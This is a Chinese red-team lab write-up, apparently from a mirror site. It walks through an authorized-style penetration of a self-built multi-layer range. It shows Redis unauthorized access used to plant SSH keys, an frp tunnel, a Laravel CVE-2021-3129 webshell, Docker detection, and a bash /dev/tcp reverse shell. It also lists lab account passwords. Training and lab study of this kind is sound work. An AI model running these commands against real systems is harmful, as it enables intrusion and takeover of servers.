红队 | 您所在的位置:网站首页 › 内网穿透 frp 漏洞 › 红队 |
本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Laravel Debug mode RCE(CVE-2021-3129)漏洞利用,Docker逃逸,Redis未授权访问漏洞,SSH密钥利用,非约束委派和约束委派,NTLM中继攻击,SMB Relay攻击,哈希传递,黄金票据和白银票据,CVE-2020-1472提权等等。 文中若有不当之处,还望各位大佬多多点评。 请注意: 本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。 环境配置网络拓扑图整个环境共五台机器,分别处于三层内网环境中。网络拓扑图如下,整个靶场设计模拟真实网络环境中的情况,分别划分了DMZ区,生产区和核心区,不同区域间通过网段划分进行隔离。 DMZ区IP段为192.168.52.1/24 DMZ区的靶机拥有两个网卡,一个用来对外提供服务,一个用来连通第二次网络。 生产区IP段为192.168.52.1/24 第二层网络的靶机同样有两个网卡,一个连通第二层网络,一个连通第三层网络 w核心区IP段为192.168.93.1/24 第三层网络的靶机只有一张网卡,连通第三层网络,包含域控机器与域内服务器 由于网络环境问题,测试过程中部分ip可能会发生变化。 靶机信息域用户账户和密码如下: Administrator:Whoami2021 whoami:Whoami2021 bunny:Bunny2021 moretz:Moretz2021 Ubuntu 1: web:web2021 Ubuntu 2: ubuntu:ubuntu 通达OA账户: admin:admin657260 涉及的知识点端口扫描、端口服务识别、漏洞探测利用、Laravel Debug mode RCE(CVE-2021-3129)漏洞利用、Docker逃逸、通达OAv11.3漏洞利用、Linux环境变量提权、Redis未授权访问漏洞、Linux sudo权限提升(CVE-2021-3156)漏洞利用、MS14-068漏洞利用、路由转发与代理、多层隧道代理、内网信息收集、NTLM与SMB Relay攻击、Psexec远控、哈希传递(PTH)、黄金票据、白银票据 攻击过程信息收集我们现在开始对目标的攻击,我们首先对入口机web服务器进行渗透测试,寻找突破口,对172.23.2.67进行全端口扫描,扫描后发现存在四个端口 80端口 81端口开了Laravel 接下来还剩下两个服务 22、6379。22端口爆破动静会很大,可以放到后面无计可施的时候再去尝试,先测试一下6379端口,因为这个一旦攻击成功即可获取root权限。Web攻击获取的有可能是低权限,而且也可能会遇到一些waf之类的防护等不确定因素。因此我们先尝试redis未授权漏洞。 Redis 未授权访问redis-cli -h 192.168.52.10 测试成功,发现存在redis未授权漏洞 现在我们退出redis,回到kali中,利用redis未授权漏洞写入公钥私钥。 首先在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥 ssh-keygen -t rsa 第一行输入id_rsa,密码设置为空,直接回车 (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt 通过redis将key写入到服务器中 cat key.txt | redis-cli -h 192.168.52.10 -x set hack 连接目标主机的redis redis-cli -h 192.168.52.10 设置redis的备份路径为/root/.ssh和保存文件名authorized_keys config set dir /root/.ssh //设置redis的备份路径为/root/.ssh config set dbfilename authorized_keys //设置上传公钥的备份文件名为autorized_keys 将数据保存 save quit ssh -i id_rsa [email protected] 写入成功即可直接ssh登录到服务器上。 内网信息收集获取到一台机器的控制权限后,我们查看当前网络情况,第一个是我们外网的入口机器地址,第二个是我们内网地址。 现在我们已经拿到了root权限,并且机器是可以出网的。 netstat -pantule 可见貌似机器上只有22、80、81、6379端口对我们来说有价值一些,我们尝试进一步信息收集,去找到一些有用的信息。 发现机器上有一个www站点,但是只有一个静态网址,没什么可利用的价值。 现在寻找一下81端口的绝对路径文件 sudo netstat -tuln | grep ':81' ps -p 788 -o cmd 这里貌似是执行了这行命令,没有找到绝对配置文件,我们可以应该进一步去查看nginx的配置文件。 nginx的配置文件一般都在 /etc/nginx/nginx.conf或者/etc/nginx/conf/nginx.conf 位置 http://192.168.52.20:8000 由此可见,他的80端口和81端口的网站都是来自于服务器,那么我们拿到的这台服务器应该是角色可以断定,是Nginx反代理服务器,那么我们的下一步的攻击思路就是,攻击内网192.168.52.20的web服务。 使用命令查看ARP缓存表 总结: 1、服务器角色:Nginx反代理服务器 2、内网地址:192.168.52.10 3、入口机 可出网 小结:下一步就是搭建一个隧道,其次针对我们从配置文件得知的Nginx反代理服务器上获取的内网地址,来扫描这个C段 内网隧道穿透---一层由于靶场是模拟实战环境,我们搭建一个frp隧道,因为这里不管是出网还是不出网,其实我们都是要搭建隧道的,判断出不出网,只是用来判断,我们要利用什么样的协议去进行搭建隧道而已。上传的利用文件均放在tmp目录下。 frps端上传客户端到kali上的tmp中,用python开启一个http服务 python -m http.server wget http://192.168.52.129:8000/frpc.ini. wget http://192.168.52.129:8000/frpc. 运行frpc时报错,应该是frp版本有问题了,尝试更换frp版本 ./frpc -c a.txt 再次运行 ./frpc -c a.txt 代理隧道已经搭建成功,利用kali的proxychains4进行代理配置 隧道已经搭建成功。此时我们使用工具进行内网探测 访问链接可见Laravel版本号,根据fscan扫描结果得知,该版本存在漏洞,那么我们尝试使用对应的exp进行深入利用。 工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP webshell地址:http://192.168.52.20:8000/fuckyou.php 密码:pass 这里我们连接shell,攻击成功。执行ifconfig之后发现没有回显,初次判断是权限太小。 继续信息收集 这里很多docker字样,由此判断我们在docker容器中 Hostname cat /proc/1/cgroup 目前的情况是得知目前获取的机器权限是docker,但是我们的权限过于低级,什么事情都干不了,于是乎我们尝试提权。在提权之前,我们先对系统信息收集一下 深度信息收集在tmp目录上传信息收集脚本,对机器进行信息收集 反弹到入口机的shell bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1236 |
今日新闻 |
推荐新闻 |
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 |